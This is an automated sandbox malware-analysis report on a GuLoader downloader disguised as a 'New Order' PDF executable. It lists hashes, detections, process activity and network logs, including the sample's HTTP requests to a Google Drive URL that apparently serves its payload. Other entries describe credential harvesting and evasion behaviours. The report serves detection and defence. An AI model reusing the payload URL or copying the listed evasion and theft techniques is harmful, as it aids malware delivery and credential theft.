Edit tour

Windows Analysis Report
New Order_pdf_006534325.exe

Overview

General Information

Sample name:	New Order_pdf_006534325.exe
Analysis ID:	1607358
MD5:	502a5d91b19d266d46f6bf270a3ce0c8
SHA1:	1af86349a3c21d061baaf83bc5c7574ca85330af
SHA256:	7f2ad4dae501f03a420ec1971af3a5ebe539d7c3430dd632bb4dfa614aa82207
Tags:	exeuser-cocaman
Infos:

Detection

GuLoader

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

New Order_pdf_006534325.exe (PID: 7452 cmdline: "C:\Users\user\Desktop\New Order_pdf_006534325.exe" MD5: 502A5D91B19D266D46F6BF270A3CE0C8)

New Order_pdf_006534325.exe (PID: 7848 cmdline: "C:\Users\user\Desktop\New Order_pdf_006534325.exe" MD5: 502A5D91B19D266D46F6BF270A3CE0C8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2666529008.0000000036146000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1893856567.0000000003741000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: New Order_pdf_006534325.exe PID: 7848	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-05T12:52:23.736174+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49710	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-05T12:52:17.654811+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49708	216.58.206.78	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: New Order_pdf_006534325.exe	Virustotal: Detection: 33%			Perma Link
Source: New Order_pdf_006534325.exe	ReversingLabs: Detection: 26%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Code function: 5_2_38965360 CryptUnprotectData,

5_2_38965360

Source: New Order_pdf_006534325.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49711 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.8:49709 version: TLS 1.2

Source: New Order_pdf_006534325.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 05848A02h	5_2_058485E8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 058482D9h	5_2_05848028
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 05848A02h	5_2_058485DD
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 05848A02h	5_2_058485D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 05848A02h	5_2_0584892F
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 0584FBD8h	5_2_0584F8D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 381344A5h	5_2_381342C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38134E2Fh	5_2_381342C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38130742h	5_2_38130498
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38132B38h	5_2_38132890
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38130CD0h	5_2_38130A28
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then mov esp, ebp	5_2_38137A72
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then mov esp, ebp	5_2_38137B1C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38131E30h	5_2_38131B88
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38132F90h	5_2_38132CE8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38131128h	5_2_38130E80
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38132288h	5_2_38131FE0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 381302E8h	5_2_38130040
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 381333E8h	5_2_38133140
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38131580h	5_2_381312D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 381326E0h	5_2_38132438
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 381319D8h	5_2_38131730
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_381337C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896F4A0h	5_2_3896F1F8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38964A55h	5_2_38964718
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896E340h	5_2_3896E098
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38966768h	5_2_389664C0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896E798h	5_2_3896E4F0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38965EB8h	5_2_38965C10
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896DEE8h	5_2_3896DC40
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38966310h	5_2_38966068
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38963861h	5_2_389635B8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896F048h	5_2_3896EDA0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38967470h	5_2_389671C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38966BC0h	5_2_38966918
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896EBF0h	5_2_3896E948
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38967018h	5_2_38966D70
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38963409h	5_2_38963160
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896FD50h	5_2_3896FAA8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38964569h	5_2_389642C0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38963CB9h	5_2_38963A10
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896F8F8h	5_2_3896F650
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 38964111h	5_2_38963E68
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896D638h	5_2_3896D390
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896DA90h	5_2_3896D7E8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 4x nop then jmp 3896D1E0h	5_2_3896CF38

Source: global traffic

HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 132.226.8.169 132.226.8.169

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49710 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49708 -> 216.58.206.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49711 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000035FF1000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000035FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: New Order_pdf_006534325.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error...
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.000000003608C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.000000003608C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000035FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Z
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647094712.0000000005AE0000.00000004.00001000.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C
Source: New Order_pdf_006534325.exe, 00000005.00000003.2082206527.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2082162666.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2054075433.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: New Order_pdf_006534325.exe, 00000005.00000003.2082206527.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2082162666.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2054075433.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/Gn
Source: New Order_pdf_006534325.exe, 00000005.00000003.2054075433.0000000005B84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=download
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=downloadPr
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=downloadQr
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.8:49709 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: New Order_pdf_006534325.exe
Source: initial sample	Static PE information: Filename: New Order_pdf_006534325.exe

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Code function: 0_2_004036DA EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

0_2_004036DA

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	File created: C:\Windows\SysWOW64\bagerovn			Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	File created: C:\Windows\SysWOW64\bagerovn\Echoingly139			Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 0_2_73902351	0_2_73902351
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_05848028	5_2_05848028
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584ACE8	5_2_0584ACE8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584F208	5_2_0584F208
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_05848021	5_2_05848021
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_05842DD1	5_2_05842DD1
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584ACD8	5_2_0584ACD8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584ACE1	5_2_0584ACE1
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584AC65	5_2_0584AC65
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584EFE8	5_2_0584EFE8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584E853	5_2_0584E853
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584E85C	5_2_0584E85C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_0584F8D8	5_2_0584F8D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38135988	5_2_38135988
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38135FD8	5_2_38135FD8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_381342C8	5_2_381342C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38135340	5_2_38135340
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130498	5_2_38130498
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38136628	5_2_38136628
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38137788	5_2_38137788
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132890	5_2_38132890
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132880	5_2_38132880
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38135978	5_2_38135978
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130A17	5_2_38130A17
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130A28	5_2_38130A28
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38131B78	5_2_38131B78
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38131B88	5_2_38131B88
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38136C97	5_2_38136C97
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38136CA8	5_2_38136CA8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132CD9	5_2_38132CD9
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132CE8	5_2_38132CE8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130E70	5_2_38130E70
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130E80	5_2_38130E80
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38131FD2	5_2_38131FD2
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38135FC8	5_2_38135FC8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38131FE0	5_2_38131FE0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130017	5_2_38130017
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38130040	5_2_38130040
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38133130	5_2_38133130
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38133140	5_2_38133140
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_381342B9	5_2_381342B9
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_381312D2	5_2_381312D2
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_381312D8	5_2_381312D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3813532F	5_2_3813532F
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132438	5_2_38132438
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38132428	5_2_38132428
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3813048A	5_2_3813048A
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3813661C	5_2_3813661C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38131730	5_2_38131730
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3813172A	5_2_3813172A
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_381337C8	5_2_381337C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896A8A0	5_2_3896A8A0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896F1F8	5_2_3896F1F8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38964D78	5_2_38964D78
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38969AB8	5_2_38969AB8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896A2B9	5_2_3896A2B9
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38967620	5_2_38967620
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38964718	5_2_38964718
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E098	5_2_3896E098
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E088	5_2_3896E088
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389664BC	5_2_389664BC
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389664C0	5_2_389664C0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E4F0	5_2_3896E4F0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E4E0	5_2_3896E4E0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38965C10	5_2_38965C10
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38965C0B	5_2_38965C0B
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38960033	5_2_38960033
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896DC30	5_2_3896DC30
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896003C	5_2_3896003C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38960040	5_2_38960040
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896DC40	5_2_3896DC40
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966066	5_2_38966066
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966068	5_2_38966068
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896ED90	5_2_3896ED90
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896CDB0	5_2_3896CDB0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389635B8	5_2_389635B8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896EDA0	5_2_3896EDA0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389635AD	5_2_389635AD
